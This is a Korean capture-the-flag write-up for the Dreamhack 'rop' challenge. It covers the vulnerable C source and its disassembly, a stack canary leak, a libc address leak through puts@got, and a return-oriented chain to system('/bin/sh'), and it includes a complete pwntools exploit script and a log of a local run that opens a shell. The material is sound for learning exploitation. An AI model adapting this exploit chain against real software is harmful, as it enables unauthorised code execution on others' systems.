dreamhack - rop writeup
[dreamhack] rop writeup
1. 문제

rop
Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3542. 풀이
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
RTL 문제와 비슷하게 canary
를 leak할 수 있는 기회를 주고, 이후 ROP payload를 보낼 수 있게 되어있다.
canary
leak은 이제 쉽게 할 수 있다. gdb
를 통해 실제 buf
의 크기를 보자.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400715 <+30>: mov ecx,0x0
0x000000000040071a <+35>: mov edx,0x2
0x000000000040071f <+40>: mov esi,0x0
0x0000000000400724 <+45>: mov rdi,rax
0x0000000000400727 <+48>: call 0x400600 <setvbuf@plt>
0x000000000040072c <+53>: mov rax,QWORD PTR [rip+0x20092d] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400733 <+60>: mov ecx,0x0
0x0000000000400738 <+65>: mov edx,0x2
0x000000000040073d <+70>: mov esi,0x0
0x0000000000400742 <+75>: mov rdi,rax
0x0000000000400745 <+78>: call 0x400600 <setvbuf@plt>
0x000000000040074a <+83>: mov edi,0x400874
0x000000000040074f <+88>: call 0x4005b0 <puts@plt>
0x0000000000400754 <+93>: mov edx,0x5
0x0000000000400759 <+98>: mov esi,0x400884
0x000000000040075e <+103>: mov edi,0x1
0x0000000000400763 <+108>: call 0x4005c0 <write@plt>
0x0000000000400768 <+113>: lea rax,[rbp-0x40]
0x000000000040076c <+117>: mov edx,0x100
0x0000000000400771 <+122>: mov rsi,rax
0x0000000000400774 <+125>: mov edi,0x0
0x0000000000400779 <+130>: call 0x4005f0 <read@plt>
0x000000000040077e <+135>: lea rax,[rbp-0x40]
0x0000000000400782 <+139>: mov rsi,rax
0x0000000000400785 <+142>: mov edi,0x40088a
0x000000000040078a <+147>: mov eax,0x0
0x000000000040078f <+152>: call 0x4005e0 <printf@plt>
0x0000000000400794 <+157>: mov edi,0x400893
0x0000000000400799 <+162>: call 0x4005b0 <puts@plt>
0x000000000040079e <+167>: mov edx,0x5
0x00000000004007a3 <+172>: mov esi,0x400884
0x00000000004007a8 <+177>: mov edi,0x1
0x00000000004007ad <+182>: call 0x4005c0 <write@plt>
0x00000000004007b2 <+187>: lea rax,[rbp-0x40]
0x00000000004007b6 <+191>: mov edx,0x100
0x00000000004007bb <+196>: mov rsi,rax
0x00000000004007be <+199>: mov edi,0x0
0x00000000004007c3 <+204>: call 0x4005f0 <read@plt>
0x00000000004007c8 <+209>: mov eax,0x0
0x00000000004007cd <+214>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004007d1 <+218>: xor rcx,QWORD PTR fs:0x28
0x00000000004007da <+227>: je 0x4007e1 <main+234>
0x00000000004007dc <+229>: call 0x4005d0 <__stack_chk_fail@plt>
0x00000000004007e1 <+234>: leave
0x00000000004007e2 <+235>: ret
End of assembler dump.
buf
의 위치는 rbp-0x40
이고, canary
는 rbp-0x8
에 위치한다.
따라서 0x38 + 1
만큼 보내서 null
바이트를 무시하고 7바이트를 받은 후, "\x00"
을 붙여주면 canary
가 된다.
# 1. leak canary
p.recvuntil("Buf: ")
p.send(b"a" * 56 + b"b")
p.recvuntil("b")
canary = u64(b"\x00" + p.recv(7))
그리고 이제 리턴주소를 덮어서 exploit을 해야하는데, 아래와 같이 stage를 구성했다.
- 1.
puts@plt
를 통해puts@got
에 들어가있는puts
함수의 실제 libc 주소를 출력 - 2. 출력된
puts
함수의 주소를 기준으로system
함수와"/bin/sh"
문자열의 libc 주소를 계산 - 3. 이후
main
함수로 리턴해서 다시 시작 - 4. 리턴주소를 덮어서
system("/bin/sh")
수행
이대로 exploit을 작성했고, 큰 문제는 없었다.
다만, puts
함수와 system
함수 실행할때 모두 ret
주소를 추가로 넣어줘서 스택 정렬을 시도했더니 안먹히길래 puts
함수 실행 시에는 빼줬더니 됐다.
최종 exploit은 아래와 같다.
from pwn import *
p = process("./rop")
elf = ELF("./rop")
libc = ELF("./libc.so.6")
ret = 0x0000000000400596
pop_rdi = 0x0000000000400853
puts_plt = 0x4005b0
binsh_offset = 0x1d8698
# 1. leak canary
p.recvuntil("Buf: ")
p.send(b"a" * 56 + b"b")
p.recvuntil("b")
canary = u64(b"\x00" + p.recv(7))
# 2. leak puts libc address
p.recvuntil("Buf: ")
payload = b''
payload += b'a' * 56
payload += p64(canary)
payload += b'b' * 8
payload += p64(pop_rdi)
payload += p64(elf.got["puts"])
payload += p64(puts_plt)
payload += p64(elf.symbols["main"])
p.send(payload)
sleep(1)
puts_libc = u64(p.recv(6) + b"\x00" * 2)
# 3. overwrite puts@got with system
libcbase = puts_libc - libc.symbols["puts"]
system_libc = libcbase + libc.symbols["system"]
binsh_libc = libcbase + binsh_offset
p.recvuntil("Buf: ")
p.send(b"a")
sleep(1)
print(p.recv(1024))
payload = b''
payload += b'a' * 56
payload += p64(canary)
payload += b'b' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh_libc)
payload += p64(system_libc)
p.send(payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/rop$ python3 e_rop.py
[+] Starting local process './rop': pid 2306954
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/rop/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
/home/ubuntu/dreamhack/level2/rop/e_rop.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Buf: ")
/home/ubuntu/dreamhack/level2/rop/e_rop.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("b")
/home/ubuntu/dreamhack/level2/rop/e_rop.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Buf: ")
cat/home/ubuntu/dreamhack/level2/rop/e_rop.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Buf: ")
^H^Hb'Buf: a\x10\x88\xff\x9bq\n[2] Input ROP payload\nBuf: '
[*] Switching to interactive mode
$
$ cat flag
DH{**flag**}
여전히 vm 크레딧 없어서 로컬에서만 수행 ㅠㅠ
해결~